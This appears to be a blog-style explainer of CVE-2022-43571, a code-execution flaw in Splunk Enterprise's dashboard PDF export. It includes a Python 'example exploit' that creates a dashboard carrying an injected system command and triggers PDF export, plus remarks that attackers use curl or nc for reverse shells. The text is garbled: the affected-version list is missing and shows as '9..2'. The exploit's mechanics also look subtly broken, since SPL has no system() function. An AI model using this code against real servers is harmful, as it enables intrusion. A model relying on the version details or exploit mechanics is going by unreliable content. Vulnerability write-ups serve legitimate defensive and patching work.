Splunk is a popular platform for searching, monitoring, and analyzing machine-generated data. It's everywhere, from banks to Fortune 500s. But in 2022, a critical vulnerability known as CVE-2022-43571 was discovered in Splunk Enterprise. In simple terms, this bug lets a logged-in user run any code they want—right on the Splunk server—by abusing the dashboard PDF generation feature. If attackers get in, they can take over the server, steal data, or dig even deeper into your network.
Let's see how this works, the different Splunk versions hit by the bug, and check out an example exploit. We’ll also cover how to fix it and lock down your Splunk servers.
9..2
If you're running any of these, you must update—even if your Splunk server faces only internal staff.
How Does CVE-2022-43571 Work?
Splunk allows users to create dashboards. These dashboards can be exported as PDF files for sharing or reporting. The backend server handles this conversion.
In vulnerable versions, the PDF export feature can be tricked into running commands sent by the user. Since this process runs with the Splunk server's privileges, an attacker can do almost anything on the server.
Authentication matters: To exploit this, an attacker needs an account. But in many companies, anyone with a regular Splunk user account would be able to run code on the server!
1. Attacker logs into Splunk.
They need at least basic access—so maybe a helpdesk user, or someone with access to dashboards. No admin needed.
2. Attacker creates a malicious dashboard.
They insert a widget or search with payload code in such a way that the server will process it.
3. Attacker triggers "Export as PDF".
Splunk’s backend takes the dashboard and runs it through its PDF engine, which calls the vulnerable routine.
4. Arbitrary code gets executed on the server.
This can open a reverse shell, upload a file, install malware, etc., running with the same rights as the Splunk server.
Example Exploit Code
For obvious reasons, we'll keep this safe for awareness and learning purposes, and not give a full working exploit. But here’s a simplified version to explain the core idea.
Note: The real attacks can be more subtle, this shows the principle.
import requests
splunk_url = 'https://splunk.example.com:8089';
username = 'user'
password = 'pass'
# Authenticate and get session token (use actual Splunk REST API login call)
session = requests.Session()
session.auth = (username, password)
# Create a simple dashboard with a malicious search command
dashboard_xml = '''
<dashboard>
<label>PDF Exploit</label>
<row>
<panel>
<chart>
<search>
<query>| inputlookup foo | eval x=system("ls /tmp")</query>
</search>
</chart>
</panel>
</row>
</dashboard>
'''
# Create dashboard (endpoint depends on version and setup)
create_dash = session.post(
splunk_url + '/servicesNS/admin/search/data/ui/views',
data={'name': 'pdf_exploit', 'eai:data': dashboard_xml},
verify=False
)
# Trigger PDF export
export_pdf = session.get(
splunk_url + '/en-US/app/search/pdf_export/pdf_exploit',
verify=False
)
print(export_pdf.status_code)
What is happening here?
- The attacker sneaks a system command (in this case ls /tmp) into a dashboard via Splunk’s search code.
The response may not directly show the command result, but the command still runs on the server.
Warning: In real exploits, attackers often use curl or nc to send a shell back to themselves, or exfiltrate files.
References and More Information
- Official Splunk Advisory (CVE-2022-43571)
- NIST CVE detail
- Splunk Release Notes
- Some extra details from Rapid7
At least to 8.1.12, 8.2.9, or 9..2.
- Download here: Splunk downloads page
Final Thoughts
CVE-2022-43571 is a solid example of why seemingly innocent features ('Export as PDF!') can be weaponized when running in powerful backends. If you manage Splunk—patch now. Your logs might just have saved your job, but only if the system they live on is secure, too.
Timeline
Published on: 11/03/2022 23:15:00 UTC
Last modified on: 11/07/2022 17:02:00 UTC